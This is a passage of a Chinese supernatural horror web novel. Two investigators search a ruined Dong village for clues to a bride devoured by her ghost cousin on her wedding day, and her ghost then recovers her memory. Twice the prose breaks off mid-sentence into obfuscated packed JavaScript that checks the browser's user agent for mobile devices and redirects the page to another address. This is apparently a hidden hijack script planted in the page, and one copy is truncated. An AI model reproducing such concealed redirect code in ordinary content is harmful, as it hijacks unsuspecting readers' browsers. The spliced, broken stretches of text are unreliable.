石沛妮的那把刀,只能由她们自己在现实里面找。 而且现实里,这把刀大概不会在原位。 ——表哥鬼怕刀怕成那样,杀死石沛妮后,大抵是不会把刀留在房间里的。 现在之所以需要顾斩风和龙骁帮忙,只是在齐檎丹方才看过的照片里,石沛妮的刀子只有一个模糊且不全的影像。她们需要先知道那把刀具体长什么样,之后才能参照这个样子去找。 顾斩风:“就这一个需要帮忙?” 齐檎丹:“如果有其他需要,会再跟你们说。” 这场发生在群里的谈话,最终在顾斩风一个惜字如金的“嗯”字中结束。 痛揍了表哥鬼一顿,又埋了他的鬼怪大军后,所有事情都变得顺利起来,想到已经联系上了失散的顾斩风和龙骁,还顺利交换了信息,梁安颜就不由得开怀。但她仍不敢太过松懈。 一关闭群聊界面,梁安颜便忍不住问道:“我们大概有多少成把握,能够找到石沛妮用过的那把刀?” 齐檎丹却摇摇头:“不敢保证。” 不一定能找到。 甚至,大概率找不到。 齐檎丹不怕表哥鬼丢掉刀子,但表哥鬼既然这么害怕刀,在掌控寨子之后,牟足力气将刀子彻底毁掉,也是很有可能的。 那样,这把刀将彻底无迹可寻。 “事已至此,我们无论如何也只能试试。”齐檎丹顿了顿,目光坚定,“这是目前最关键的线索,先找。要是找不到,再另外想办法。” 梁安颜幽幽叹息一声,重新提起精神:“接下来我们要去哪儿?去找石沛妮真正的家吗?可是,我们既不知道他家在哪儿,也没办法问路。” 寨中人已悉数化为鬼怪傀儡,其中还有一大半被埋在泥石流里,没有能为她们指路的人。 寨子那么大,应该从何找起? 齐檎丹思索半秒:“三个空间的村寨布局大差不差,我们也许可以问问顾斩风和龙骁?” 齐檎丹刚打开群聊界面准备询问,便冷不丁瞥见窗外高地上,一丛乱蓬蓬的绿草簌簌抖动了两下。 齐檎丹感受了一下,没风。草丛居然无风自动。 她顿时心头一紧—— 有人! 齐檎丹沉下双眸,目光锐利如刀,直直刺入那蓬草丛:“谁?出来。” 被她一声呵斥,那草丛终于慢吞吞地挪动起来。漆黑惨淡的夜幕里,绿色的草叶往上抬升,诡异地离开了地面。 先是一双眼睛露出连绵的荒草,然后是鼻子、嘴巴…… 齐檎丹缓缓屏住呼吸,背在身后的那只手,悄然从系统背包里取出几张照片道具。 一有不测,照片道具便可被立刻掷出。 以护她们周全。 荒草丛中,那副瘆人的场景还在变化。不一会儿,一张人类的面孔脱离草叶遮掩,展露在齐檎丹眼前。 绿色的头发,下垂的眼皮,怯懦的神情…… ——好熟悉,越看越熟悉。 此人,俨然是西金公会的老熟人之一。“三原色兄弟”里的绿头发。 绿头发站起来的那一瞬间,齐檎丹随即意识到,刚才被她看到在窗外抖动的,并不是绿草,而是此人绿色的头发。 他的头发,是真绿啊。 跟路边半人高的杂草,几无分别。 怪不得齐檎丹会看错。 绿头发被齐檎丹警惕打量的目光,剜得体无全肤,语气激动地想解释。不曾想,越心急,这不争气的舌头越是连连打结:“你你你你……你们是不是,要找找……找石沛妮生前……住的地方?我我我……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15093038|158985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他这两句话说得活像舌头打架,齐檎丹听得实在费劲:“打住,把舌头捋直了再说话。” 绿头发跟鹌鹑似的缩着脖子,闭了嘴。 齐檎丹在心里默数两秒,给了绿头发一点缓冲的时间:“现在能把话说顺了不?” 绿头发乖觉地咽了口唾沫:“能。” 齐檎丹:“那说吧。” 绿头发低着脑袋,话说得多少还是有点结巴,声音却不算小:“我……我知道石沛妮住在哪里,我可以带你们去。” 听了他这番毛遂自荐,齐檎丹不由得好笑,歪头睨着他问:“你不是被你的那两个兄弟抛弃,又被鬼怪抓住了吗?怎么,这会儿不仅被放出来了,还连石沛妮是谁,家住哪里都知道了?我怎么知道你是不是” “不是放。是我,我自己逃出来的。”绿头发强调,“抓了我的那些鬼怪看了我的脸后,好像很失望,没再理我。过一会儿,它们就全走了。石沛妮家的方位,也是我听鬼怪聊天时听到的……” 绿头发不晓得前因后果,说着说着,自己都觉得没底气。 那群鬼怪好不容易把他抓到手,又疏于看管,就这么让他轻轻松松给跑了? 谁信呐? 绿头发自己都不相信。 但齐檎丹信。 她比一头雾水的绿头发更清楚,鬼怪这么做是因为什么。 鬼怪故意去看绿头发的脸,是因为表哥鬼操纵这些鬼怪配合演戏时,要求这些鬼怪傀儡捉的是石沛妮。看完绿头发的脸后,发现捉到的不是石沛妮,它们自然没兴趣。 这些鬼怪之后的离开,也好解释,这是因为绝大部分鬼怪傀儡,都被自以为达成目的的表哥鬼,叫来吊脚楼这儿围剿齐檎丹和梁安颜了。那时候,鬼怪们自然顾不上无关紧要的绿头发。 齐檎丹默默算了算,由此看来,绿头发这番言语的可信度确实还行。 勉强能信。 “他们走后,你是怎么逃出来的?”齐檎丹记得,绿头发被抓后被绳索五花大绑,要逃总得挣脱绳索吧。这绳索,是怎么挣脱的? 绿头发不好意思地笑了一下,摊开手掌。 手掌心探出一根小小藤条。 藤蔓弱不禁风,细软又柔弱,只懂得攀附他物。这会儿,绿油油的藤条正悄悄从他掌心延伸出来,末梢打了个卷,在风里轻点了一下,羞赧地跟齐檎丹打了个招呼。 很显然,绿头发之所以能够挣开绳索,是靠了这根绿色的小藤条帮忙。 梁安颜看了他的绿藤条,眼底却见了怜悯:“你的考察员技能,是辅助技能‘绿藤之心’?” “这个技能有什么用?”齐檎丹压低声音问。 “这技能的自保能力,即便在辅助类技能里面也是最差的。攻击能力几乎没有,还不能像我的‘天女散花’那样转移注意力,一旦遇到鬼怪,只有躺平挨打的份。”梁安颜停顿一下: “但这个技能最厉害的地方在于,能借助自然的气息掩盖自身的踪迹。用这个技能跟踪别人,很不容易被发现。” 怪不得西金公会要特地派绿头发进来。 跟踪齐檎丹好用啊。 绿头发战斗的时候帮不上忙,却是跟踪齐檎丹的最佳选择。跟了她们一路,她们都没有发现。 同样也只有辅助系技能的梁安颜,非常能够理解,绿头发为什么会在这个时候找上她们两个。目睹了红头发和蓝头发故意设计让他冒险冲第一个,之后又抛弃他离开后,绿头发很难不意识到被丢弃的命运。 然而,在大多数辅助系技能持有者的认知里,失去了强者庇护,他们只有死路一条。可这个现实空间里除了红蓝头发,只剩下齐檎丹和梁安颜。 因此,绿头发才会这么火急火燎地,想来抱大腿。 梁安颜清楚绿头发的动机。 因为她在遇到齐檎丹之前,也曾经也有过,认为辅助系技能没依靠的人不可的念头。只是后来,齐檎丹让她改变了想法。 不过,现在绿头发的这个思想,对她们这方明显是有利的。绿头发的心理要是能利用一下,未尝不可。梁安颜思量后,道:“现在,我们确实是绿头发唯一的选择。” 梁安颜缓缓转过头,用目光无声地询问着齐檎丹。 绿头发这个人,是用还是不用? 两个女生之间无言的交流,绿头发看不懂,绿头发只是迫不及待地想抱上这条大腿:“现……现在我技能也展示给你们了,我……我也说了我是怎么逃出来的了,我能给你们带路了吗?石沛妮的家,就在那边,我现在就……” 齐檎丹笑着:“你凭什么认为,我认为我会信一个想要害我的人?” 绿头发一愣。 “不不不,我……我我我完全没这么想过。那都是他们的想法,是公会的想法,我可是……我可是从没想过要害你啊。”绿头发急于将自己撇清。 但包括绿头发在内所有人,都心知肚明,纵使绿头发像他说的那样,不赞同那些害齐檎丹的行为,真到了西金公会真让他下手的时候,他也绝不可能拒绝。因为他没有权利拒绝。 在公会的强势约束面前,绿头发的辩解显得那样苍白虚弱。 毫无信服力。 绿头发的脑袋缓缓耷拉下来,掌心的藤条也肉眼可见地变得蔫吧。他几乎已经笃定,齐檎丹不会相信他,让他带路了。 “你叫什么名字?”他听见齐檎丹问。 绿头发有气无力:“蔡绿。” 蔡绿?绿菜? 这个名字果真好绿。 “蔡绿是吧?”齐檎丹把绿头发的名字记了一下,“有劳了。” 蔡绿的眼里还黯淡着:“有劳什么?” 齐檎丹感受了一下她与照片道具的联系,感到照片道具“故乡的回眸”的效力,正随着时间的延长而衰减,慢慢失去控制。而泥石流的力量逐渐衰退的同时,被淹没的鬼怪傀儡显然已经发现这一点,正努力往外挣扎。 唯一一张S级照片道具已经用完,齐檎丹没法保证能再拦住这群鬼怪一次。因此,鬼怪傀儡重获自由之前,是他们最好的离开时机。 齐檎丹微笑着看向前方的村寨,说出口的话,让蔡绿抱大腿的希望死灰复燃: “你不是说,要带我们去找石沛妮的家吗?劳驾前面带路吧。” 63. 啼血侗歌16 与照片道具变幻出来的小老头道别了之后,齐檎丹便让知晓方位的蔡绿走在最前头,带她们两人走上了寻找石沛妮家的路。 这破败的侗族村寨里,吊脚楼一座连着一座,在外观上并没有太大区别。 都一样的破破烂烂,年久失修。 说实话,若不是有蔡绿在前面带路,齐檎丹和梁安颜恐怕很难从这些残垣断壁中,找到石沛妮家的方位。 蔡绿沿着河一路走走看看,终于在一栋吊脚楼前停下脚步:“那些鬼怪透露过,石沛妮的家在村子的东南角的河边边,门边的墙上有刀痕……应该是这里了。” 齐檎丹凑近瞧了一眼。吊脚楼的墙上不仅有刀痕,而且刀痕还不少,一道紧挨着一道。 兴许是石沛妮练刀的时候留下的。 此时,他们已经离表哥鬼的老巢很远,照片道具的效果也到了穷弩之末,齐檎丹终于卸去了加在照片道具上的控制,让泥石流自然消散。 石沛妮的卧室在二楼,齐檎丹和梁安颜进门后便径直往台阶上走。蔡绿也要跟着上去,被齐檎丹在肩膀上按了一下:“你留下,在门口帮忙望风。一有情况,记得通知我们。” 卧室的摆设布置大同小异,只是刀子被丢掉了,屋里只剩下刀架留下的印痕。 刀子果然没了。 齐檎丹叹了口气。虽然失望,但这毕竟在预料之中,她没有太过灰心。 找到石沛妮家不容易,这一趟,她们不能白来。哪怕没见着刀子,齐檎丹也带着多少得带一点线索回去的心思,迈步走进了石沛妮的卧室。 一进门,经年残存的血腥气混合着尘埃扑面而来,几乎将人熏晕过去。 黑红的血色泼了满屋。 令人窒息。 齐檎丹捏着鼻子,刚忍着胃内的翻涌走进卧室内,便一眼瞧见了地上散落的碎布片。 那些碎布片数量很多,被鲜血泡得乱七八糟。 可梁安颜直奔那碎布而去,如获至宝一般,将布片逐一从地上拾起,小心翼翼地检查。 “好像不是普通的碎布,这是一件碎掉的裙子。”梁安颜小心地将布料在地面上平铺开来,瞄着纹样的那一刻,一个结论迅速浮现在她的脑海,“这裙子上面的花纹繁复华丽,像是侗族女子婚庆时会穿的服饰。” “石沛妮确实有一件嫁衣。我看下照片。”齐檎丹打开相机的相册,之前拍到的石沛妮手捧嫁衣照片,印证了这个推测。 石沛妮大概还是结婚了。 她终究还是放弃爱情,顺从传统,与她不爱的表哥成婚。并且,死于婚礼那天。 而这身侗族嫁衣,正是她死时所穿的衣裙。 梁安颜不由得感到内心沉重:“和恋人私奔的杏妮,不是石沛妮的偶像吗?她为什么不逃?是因为逃不出去吗?”可她有一身武艺,还有刀,她不是不能试试。 可以说,石沛妮要逃走,她完全是有能力,有机会的。 但,她为什么放弃了? “石沛妮不止放弃了逃婚,她还放弃了生命。”齐檎丹示意梁安颜抬起头。 大片大片的血色,顿时撞进视网膜。 侗族嫁衣被撕成碎片的地方,同样也是整间卧室里,血痕最为密集的地方。 墙体上大量抛甩状的血迹形态,一道叠着一道,已经晕染到几乎看不见边界——这是表哥鬼将血肉一块块从她身上撕咬下来时,甩出的鲜血。 “当时,石沛妮应该就站在这附近。”齐檎丹根据周围的血迹,大致估计了一下位置。 脚下的地面上,洇着一块血渍。 是刀的轮廓。 齐檎丹抬眼看向门边,那里有很明显的打斗痕迹。 桌椅被刀刃劈开,东倒西歪,墙上也留下许多深深浅浅的锐器划痕。而且刀子划过的地方,还能隐隐发现一丝血色,说明这把刀子曾经渴饮过表哥鬼的血。 新婚之夜,石沛妮曾经在门边伏击过表哥鬼。 并且还算成功。 她受了伤,表哥鬼却也首次挂彩。 这或许,是表哥鬼对这把刀如此恐惧的原因——毕竟他曾经差点命丧刀下,在这个他起初没当回事的新娘手里,被剁成鬼肉稀泥。 石沛妮武艺了得,又抓住了表哥鬼作为新郎上门接亲的机会,出其不意。她就算不能斩杀恶鬼,也至少不至于因此而死。 然而,令人意想不到的是,仅仅在这之后,石沛妮却竟然放弃了伏击得来的优势。 她亲手丢下了刀。 “刀上沾着血,在地上留下痕迹的位置离石沛妮脚边很近,而且看痕迹,刀被放下后便没再挪动过。石沛妮是主动弯腰放下刀的。”齐檎丹分析。 在放下这把刀的同时,石沛妮也放弃了求生的希望。 在意识清醒的时候,被恶鬼活生生地咬下皮肉,吞吃殆尽,是怎样一种堪比凌迟的残忍酷刑。况且迎亲的那会儿,众多亲朋好友齐聚门外,只要石沛妮大声呼救,不怕没人过来帮忙。 可石沛妮明知如此,却一动不动地站在原地,任由表哥鬼将她拆吞入腹。 她被撕开皮肤,吃尽肌肉,流干鲜血…… 却从始至终,一声不吭。 如果忍着不发出声响,只有她一人受难。倘若不忍,进门救助的亲朋好友也将遭殃。她不愿意。 门外,是欢歌庆祝的亲人朋友;门内,是鲜血齐飞的屠宰场。房门的外面无人知晓,热闹与死亡,仅仅一门之隔。 石沛妮是主动选择死路的。 她死得凄惨。 侗族男女的传统结婚年龄,一般是十七八岁。也就是说,当石沛妮倒在血泊当中,被啃噬得只剩四分五裂的骨架时,她甚至可能尚未成年。 她还有那么多新鲜的事情没去经历,她还有那么多大好河山,没来得及去看。梁安颜垂着眼眸,心一阵又一阵地绞痛: “可是,看石沛妮之前反击的举动,她分明不是不想活。” 她想起了石沛妮在幻境里唱的歌谣。 歌曲可以抒情,从歌声歌词中,足以窥见内心。石沛妮是想要活下去的,她不仅想好好活,还想和心爱的人远走高飞。一个想活下去的人,为什么会这样坚决地自愿赴死?甘愿放下武器,沦为鬼怪的盘中餐? 哪怕只是代入自身,个中原因也不难想见。齐檎丹猜测:“石沛妮心中,也许有比生命更重要的东西,表哥鬼可能拿什么东西威胁了她,她想要保护这个东西,就只能放弃抵抗,用生命去换。” 彼时,表哥鬼可能已经早有准备。 人有了即便豁出性命也要保护的事物,便有了软肋。 这个软肋是什么,虽然没有线索明确说明,却也能够猜到。那便是门外石沛妮的骨肉至亲,来参与婚礼的满座宾朋,以及寨中与石沛妮熟络的诸多无辜侗族百姓。 兴许,表哥鬼比石沛妮所以为的,更早开始了他罪恶的杀人行动,将石沛妮的软肋牢牢攥在股掌之中。 被以软肋威胁,石沛妮不战而败。 梁安颜回顾整个过程,又提出了一点补充:“石沛妮提早准备好刀子,试图在迎亲时伏击杀死新郎这一点,也很奇怪。如果只是结婚对象不合意,再怎么说,也不至于杀人呀。” 刀剑无眼,一时不慎便可致命,如果只是因为这个理由杀人,未免有点过激了。 除非石沛妮早就知道,表哥鬼不是人。 而是应该被除去的鬼物。 如果这个前提成立,石沛妮放弃与恋人逃走的机会,显然不是因为畏惧反叛传统的压力,而是下定了以身为饵、以婚礼设局的决心。 她不是胆小鬼,是女英雄,哪怕知道可能付出生命,也要为民除害。 然而,这其中仍有疑点。 表哥鬼之所以能在众目睽睽之下,成功迎娶石沛妮,说明他当时仍处于伪装成人类的状态。石沛妮是如何得知他真实身份的? 齐檎丹环顾四周,发现这里的痕迹居然保留得比较完好:“我们分开在屋里找找。石沛妮死后,她的房间应该没被过多翻动,石沛妮生前要是有留下线索,很可能还在这儿。” 话音未落,两人便散开各自搜索。 藏着这样一个巨 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巫师先将高脚凳架于门板上,再在凳上以两碗做桥墩,以筷子做桥,作法事唱歌哄骗孩子的鬼魂上桥后,便把这道桥一刀斩断,将驱鬼辟邪桃枝茅草插在门上。 如此,以禁孩子的亡魂入内。 可倘若这个巫术仪式被人故意破坏,阻拦鬼魂的效果,就荡然无存。 没斩断的桥梁,分割不开人鬼两界,拦不住往屋里闯的孩童亡魂。桥梁未断,阴阳难隔。 回来的家里的,不是归人—— 是鬼魂。 【检测到最新探索,剧情解锁度已上升。】 【当前剧情解锁度:99%】 【新婚当日剧情已全部解锁。请考察员继续探索更加久远的记忆,再接再厉。】 只剩1%了! 齐檎丹心脏倏地挛缩。 她看着暴涨了一大截的剧情解锁度,拿起相机,给日记本里的关键信息和几个重要线索位置都拍了照片,而后飞快地打开群聊界面,将照片编辑发送。 石沛妮死亡的真相她已基本查清,然而现在,齐檎丹还剩下一件最重要,也最关键的事情要做。 她要把这些事情发在群里,让龙骁和顾斩风知道。 要撬动石沛妮的心石,让她清醒。 这真相必不可少。 而且,越快越好。 . 石沛妮的幻境里。 一模一样的吊脚楼,坐落在村寨东南角,水岸边。 同样是石沛妮居住的地方,现实里的吊脚楼破破烂烂,旁边干涸的水岸乱石嶙峋。然而幻境里,这栋楼却依旧稳固而干净,倚在窗上探出头去,还能望见郁郁青青的稻田。 稻田青翠碧绿,一块块宛如平铺拼贴的画卷,叫人看一眼便觉视力得到了提升。 龙骁却没办法分出心神欣赏。 因为要想兑现他答应齐檎丹的承诺,看到并准确描述石沛妮的刀,他就得想方设法地升到吊脚楼二楼的高度,偷偷往石沛妮房间里瞟一眼。 为此,龙骁现在正被顾斩风用风托在半空中,借着夜黑风高的掩护,逐渐上升。 石沛妮的窗口近在咫尺。 房间没有开灯,里面漆黑一片。石沛妮大概不在里面。 是个偷摸着瞅一眼刀的好时机。 他得抓住。 龙骁压低声音,激动地向地面上的顾斩风比手势示意:“队长,高一点,再高一点,快快快……” 在顾斩风的驱策下,大风如龙骁所愿,载着他越升越高,眼看着来到了石沛妮的窗前。 “好了,停,可以了。”龙骁边打手势,边试图把脸往窗口凑。 谁知,说时迟那时快—— 窗户突然被从内打开,玻璃“砰”的一声猛扇在了龙骁脸上,把他打得脑瓜嗡嗡作响。 紧接着,一把寒光铮亮的刀,横在了他脖子上。 刀光映着月光,如霜似雪。 窗内的石沛妮单手持刀,目光凛冽: “早就想问你们了。你们深更半夜,鬼鬼祟祟在我家窗前,到底想干什么?” 64. 啼血侗歌17 横在脖颈上的冷刃威胁性十足,龙骁赶忙干笑:“有话好好说,好好说。别那么暴力嘛,把刀放下哈……” 他话音才落,群消息就弹了出来。 那么大一个群聊界面,就这么不明不白地凭空出现,挡在了龙骁和石沛妮之间。 即便知道作为NPC的石沛妮,是看不见考察系统群聊界面的,龙骁的嘴角还是僵硬了一瞬。 不是吧?这时候来消息? 这消息,未免来得有点太不是时候了。 见不得龙骁精神溜号,石沛妮把刀又压紧了一些:“被抓了现行,还在想怎么编谎话吗?你们两个,先是莫名其妙找来告诉我,说我和寨子里的人全死了,现在又大半夜不请自来,要是没有目的,我可不信。” 锋利的铁刃,紧紧抵着皮下动脉。龙骁被冰得打了个哆嗦,手指一抽,不小心按在了齐檎丹发来的语音消息上。 龙骁的太阳穴上的青筋突地一跳。 要死!坏大事了! 副本里的N.PC是看不到界面的,但没说他们听不见声音啊。 龙骁顾不得脖子上横着一把刀,手忙脚乱地要去关语音。可这时候已经晚了,被他那一个点击触发语音消息,早已经自动开始播放。 “三个关键词。婚礼,日记本,斩桥。” 齐檎丹在语音里说道:“石沛妮死于新婚之日,迎亲之时。在表哥鬼拿寨民性命威胁下,她是主动放下刀,任由自己被吃掉的。她早就知道表哥是鬼……” 石沛妮的瞳孔缩紧了。她五指一松,刀柄从手中掉了下来。 什么婚礼?什么遇害? 为什么?为什么这个声音说的事情,全部都没在这里发生过,她却觉得那么熟悉? 身体发肤被撕咬的剧痛、从自己血管里喷溅出的温热、一门之隔外宾客亲人的笑语……这些碎片模糊又清晰。就好像在另外一个空间,另外一个时间,这样的苦难与绝望曾经都降临在她身上,一样不落,逼得她发狂,逼得她发疯。 被刻意遗忘的回忆在涌现,捂得流脓的沉疴重见天日。 她想起来了。卷土重来的回忆那样尖锐,刺破幻想的泡沫以后,搅得心肝脾肺,都碎成一滩鲜血淋漓的浆糊。 好痛!好痛!! 石沛妮用力按住胸口,希求缓解一点深入内心的疼痛,却恍惚间意识到,她心脏的跳动收缩是那样虚假。 她本该拥有的鲜活的心脏,早已经被恶鬼从胸膛中剜出。如今的心跳,不过是幻想。 原来,她已经死了啊。 所以这里的一切都是假的,都是她的幻想,对吗? 生机盎然的假象唰然褪.去,满目疮痍的村寨令人心疼。石沛妮回首看向屋里还没睡去的父母,眼睁睁地他们干瘪下去,化为蒙着人皮的白骨。被啃噬过的人皮上,还残留着牙印和人肉碎渣。 由于认知已被修正,自欺欺人的假象难以存在。 现在出现在她幻境里的场景,才是她化作鬼魂后所看到的,村寨的结局。 石沛妮攥紧衣衫,一瞬间绞痛得难以呼吸。那些她爱的,爱她的,她想要保护的人,都死了。 有那么一刹那,她想要闭眼,想要再次逃避,不去面对这样的事实。 可是,梦总归要醒。 真真正正发生在石沛妮眼前的变化,不亚于挖出她的眼珠,逼迫她看着,这个生长的祥和美好的寨子化为泡影。触目惊心的景象,刺痛着她的视线。 石沛妮的双手颤抖着,想要拿起刀。几次,却均以失败告终。 石沛妮垂着眼睑,笑容苦涩: “你们那个同伴说的没错。是的,我早就知道表哥是鬼。但当时我年纪太小,寨里的大人们,没有一个肯相信我……” . 正如石沛妮在日记中所写。 识破表哥鬼这件事情,还要追溯到她年少时,舅家请法师来的那一次“斩桥”。 石沛妮很小的时候就知道,有孩子死去的人家,会请法师来“斩桥”。所以,对于表哥玩水溺死在河中后,舅舅家办的“斩桥”法事,石沛妮并不意外。 人有人的人间,鬼有鬼的冥界。 人鬼殊途。 虽然阻止逝者归家这件事,说来残忍,但是用这个办法,催促孩子的魂魄早点踏上轮回路,却并不是坏事。 村里的老人是这样跟石沛妮解释的,逝者今生与尘世缘分已尽,若过分眷恋尘世,不肯放下过往,及早投胎转世,将难以迎接新的人生。 但,老人没告诉石沛妮的是,这道理只是说来简单。 母子连心,血浓于水。 母亲伸向孩子的手,哪里是说放开就能放开的。 石沛妮依稀记得,巫师做法的那天阴惨惨的乌云。屋檐下,巫师哄小孩鬼魂登桥的沙哑歌声,尚余一息绕梁,年幼的石沛妮却瞄见,舅妈乘人不备,偷偷换走了应该被斩断的筷子桥。 舅妈小心翼翼,企图骗过所有人瞒天过海,若不是小石沛妮年幼好躲,存在感低,这件事连小石沛妮都不会知道。 其实,石沛妮不是不能理解,舅妈对表哥浓烈的母爱。 她的舅妈,只有表哥这一个幼子。 舅舅常年在外劳作,一年难得回家几回,表哥是舅妈十月怀胎生下,历经千辛万苦,才独自拉扯到这么大的。却竟不知,最后落得个白发人送黑发人的结局。 “斩桥”那会儿,石沛妮的舅妈早已哭得两眼红肿,神思恍惚。什么阴阳两隔,什么转世轮回?她不知道,也不想管。 她只记得,心心念念的儿子就在桥上,此桥一断,就回不了家。 她舍不得,更放不下。 石沛妮亲眼看见舅妈藏起筷子,带回屋里。当时,她还不明白这意味着什么。 直到后来,舅妈突然不辞而别,离开寨子数月后又重新回归,还带回来了一个和表哥年龄与体格都相仿的孩子,石沛妮才终于察觉到其中的诡异之处。 尽管舅妈口口声声,称这个孩子是她从外面捡回来收养的孤儿,男孩的脸也确实惨遭毁容,但石沛妮却在他身上,感受到了和表哥一模一样的熟悉感。 几乎就在将这两件事结合起来的一瞬间,石沛妮意识到—— 这不是什么陌生小孩,是她死去多时的表哥。 表哥化成鬼怪,回来了。 舅妈出寨一趟,正是为了寻找秘法,将儿子的鬼魂伪装成.人类模样,正大光明地回归。 鬼魂化人的故事太过荒谬,再加上后来辞去工作回寨的舅舅有意掩护,寨民们又过于心善,见他们这俩母子凄惨,便不愿起疑猜忌。不管小石沛妮怎么一而再,再而三地示警,他们都只对石沛妮的提醒置之不理,只当是她童言无忌。 被劝得多了,这些人甚至会反过来,责怪石沛妮缺乏同情心。 是,寨里其他人确实有同情心。 同情心本身没有错。 可是这同情心,千不该万不该,不该泛滥成灾,不该滋生出了过多的宽容与纵容。 变成鬼的表哥不是没有露出过马脚,但出于对这家人的怜悯,寨民们从来睁一只眼闭一只眼,对表哥鬼种种细微的异常视而不见。舅妈的异常举动,能被用丧子之痛合理化,表哥的异样表现,也有苦难的身世充作解释。 这样经年累月的纵容,最终变成了纷纷扬扬的雪片,越飞越多,深深掩埋了本该引起注意的警示。 与大众相左的观点,得不到认同。循环往复几次,沉默的螺旋逐渐形成。 就连最开始相信这警示的人,也改变了想法。 年幼的石沛妮孤立无援。 为此,只能将她的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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表哥鬼软硬兼施。一边使用幻术,呈现出他屠杀过后的惨状,以此恐吓和威胁石沛妮,一边又放低身段向石沛妮卖惨,说他实在是太饿了,恶鬼长期不吃人就会饿得发疯,他只需要一些人肉填饱肚子…… 石沛妮本不该动摇的,但在整个寨子沦为尸山血海的景象面前,她还是忍不住畏惧了。 她不怕自己的死亡,却怕亲人丧命,村寨覆灭。 石沛妮宁愿自己痛苦地死去,也不愿意拿亲友的生命冒险,却没想到,表哥鬼远远比她所以为的,更加无耻卑鄙。 表哥鬼当着她的面,信誓旦旦地发了毒誓,却在她死后用幻术掩盖了事实,大开杀戒。 承诺过不杀的人,表哥鬼照杀不误。 不讲一点信用。 石沛妮一把攥紧了刀柄,刀锋应和着她的悲愤,发出嗡鸣:“是我太天真了。” 等到她意识到,表哥鬼并不将誓言当一回事的时候,已经太晚太晚。彼时,石沛妮的肉身已被撕碎,成为表哥鬼的腹中餐食,只剩下一缕无处容身的魂魄,在空中随风飘荡—— 望见她誓死守护的村寨,已血流成河。 亲人与好友破碎的残肢断臂,漂在血河之中,惨不忍睹。 石沛妮怔住了。 下一刻,她的血泪流出眼眶。 和恋人被强行拆散,被迫嫁人的时候,她没有哭。献祭自身,被表哥鬼活生生撕咬吞吃的时候,她也没有哭。但看到寨里人尸骨的那一刻,石沛妮的悲伤终于如山洪暴发,痛彻心扉。 那个夜晚,凄厉的鬼哭响彻整座山峦。 呜呜咽咽。 嘶哑犹如泣血。 她落的泪,不是为了自己,也不是为了恋人,而是因为整个村寨的不幸。 65. 啼血侗歌18 “……我一个个数了。全寨两百二十一个人,最后没有剩下哪怕一个活口。” 石沛妮讽刺地笑了笑:“我也是变成鬼以后才知道,我在婚礼上看到的舅妈,只是表哥变出来的幻象。真正的舅妈,早在举办婚礼前就已经死了。被表哥吃的。” 表哥鬼吃的第一口人肉,便是他母亲的。 这个爱子如命的母亲,为了将儿子的鬼魂留在人间,不惜离家远走,用尽千方百计为儿子找到秘法,却遭到了来自亲生骨肉的背刺。 这背刺,表哥鬼蓄谋已久。 深究起因,只是因为舅妈为了将表哥鬼带回村寨后不引人起疑,不得已为表哥鬼塑造了一具仿佛被烧伤了脸的,毁了容的躯体。 这样一张烧伤的脸,让表哥鬼的融入更加艰难。在其他同龄人怪异的目光中,表哥鬼滋生出的阴暗心理,像捂在棉被下的伤口,捂得腐烂流脓,捂得淌出毒汁。 最后,酝酿出了可怕的报复。 “要是我早知道这件事就好了。对生他养他的舅妈,表哥都能做出这么丧尽天良的事情,对其他同寨的人,他更不可能心慈手软。” 石沛妮内心的悔疚无可复加:“我只恨我没有早点看清表哥,被他那副惺惺作态的模样蒙骗,信了他那只要我牺牲自己,他就不会为难我们的鬼话。我要是拼尽全力,殊死一搏,未必没有救下寨子的希望……” 发现村寨覆灭的那一刻,正是这自责与痛苦交织成的巨大精神刺激,压垮了她。 在那冲击之下,石沛妮潜意识里的自保机制被动开启,使她在浑浑噩噩中,构建起理想化的幻境,忘却了这个痛彻心扉的悲剧。 幻境里的时间,永远凝固在婚礼之前,定格在最美好的时候。 如一场永远不会醒来的美梦。 然而,所遭遇的创伤并没有随着记忆的尘封而消失,而是在潜意识里生根发芽,让石沛妮在无意识中,一次次尝试冲破表哥鬼的幻境,试图拯救被困在其中的寨民和被骗来的外人。 在一次次的失败后。她的努力,终于迎来了转机。 亡者已逝,再难复生,悲痛无济于事。 他们能改变的,只有未来。 顾斩风看向石沛妮:“你当初没能救下寨子里的人,但是现在,你有机会救下其他即将被表哥鬼吃掉的人。” 表哥鬼并没有因为杀死寨里的两百多人,而有丝毫收敛。恰恰相反,那次尝到甜头后,他越发变本加厉。而寨中那些惨死的人,也未得安息。 表哥鬼以剥皮施法之术,把死者变作傀儡,利用他们骗外人入寨食用。 这一情况,还在继续。 昔年热情好客的侗寨,如今已沦为表哥鬼大本营,在寨外臭名昭著,而寨内白骨累累。 龙骁也开口帮腔:“你要是真的想保护寨里的人,就应该尽早帮他们报仇雪恨,帮他们从控制当中解脱。而不是把自己困在幻境里,欺骗自己,假装一切都还停留在悲剧发生之前。” 倘如不制止,将有更多悲剧发生。 当年全寨覆灭的惨状,会在一个又一个寨子的侗族人身上,再次上演。这难道是石沛妮希望看到的吗? 显然不是。 然而,过去了这么久,表哥鬼对寨子的可怕控制力,已经渗透进方方面面。 当年表哥鬼才刚开始行动时,仅凭他一鬼之力,便已能和练武的石沛妮打个难分高下。在表哥鬼实力壮大之后的今天,再想要将他击败消灭,谈何容易。 石沛妮不是热血一上头,就冲上去蛮干的莽夫。经历过村寨一劫后的她,已在自责的折磨下,蜕变得更加谨慎沉稳。 “这件事不是小事,需要从长计议。” 石沛妮说着,想到了那个道出惨烈事实,逼迫她觉醒的声音。 